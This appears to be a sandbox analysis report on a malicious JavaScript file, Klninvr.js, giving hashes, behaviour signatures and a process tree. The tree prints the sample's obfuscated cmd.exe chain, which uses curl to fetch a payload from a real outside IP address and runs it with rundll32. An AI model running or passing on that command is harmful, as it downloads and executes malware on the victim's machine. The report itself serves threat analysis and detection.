Analysis

  • max time kernel
    142s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/11/2023, 20:11

General

  • Target

    Klninvr.js

  • Size

    201KB

  • MD5

    4217f35a1cb9d287888569bef4ed4c60

  • SHA1

    ec9e41311be621ac75aa386b0044592e79e92f99

  • SHA256

    17d898a75203e65cfb995ba2f4fc2ce41b6ae90d34ca033b196b17d9ed489cb5

  • SHA512

    6628f36078dd5c4939bee3eebf8c59b6644015b8cef8bfbcb657c429fb321e068453c7211984fa0ef8d9b86e863ac8db3c162450143536dca509123d0613edb6

  • SSDEEP

    3072:zFJethgu+jnFAJA3kjF5au+tpFzy97/2a2ReLld8gVOIA:pJesu2FAJtZupFzy97/2vRElG1IA

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 5 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Klninvr.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:4504
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c viJqYCU || echo H3w0H2giQ & PInG 69IotLxw || cURL http://49.13.28.84/mr0J/Mockf -o %TMP%\wjpjOoR.cpl & PInG -n 3 69IotLxw || rUndLL32 %tMp%\wjpjOoR.cpl, Crash & Exit ZzjWzYhnWCklY
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3524
      • C:\Windows\system32\PING.EXE
        PInG 69IotLxw
        3⤵
        • Runs ping.exe
        PID:4696
      • C:\Windows\system32\curl.exe
        cURL http://49.13.28.84/mr0J/Mockf -o C:\Users\Admin\AppData\Local\Temp\wjpjOoR.cpl
        3⤵
          PID:1696
        • C:\Windows\system32\PING.EXE
          PInG -n 3 69IotLxw
          3⤵
          • Runs ping.exe
          PID:1976
        • C:\Windows\system32\rundll32.exe
          rUndLL32 C:\Users\Admin\AppData\Local\Temp\wjpjOoR.cpl, Crash
          3⤵
            PID:2284

      Network

      MITRE ATT&CK Enterprise v15

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      Downloads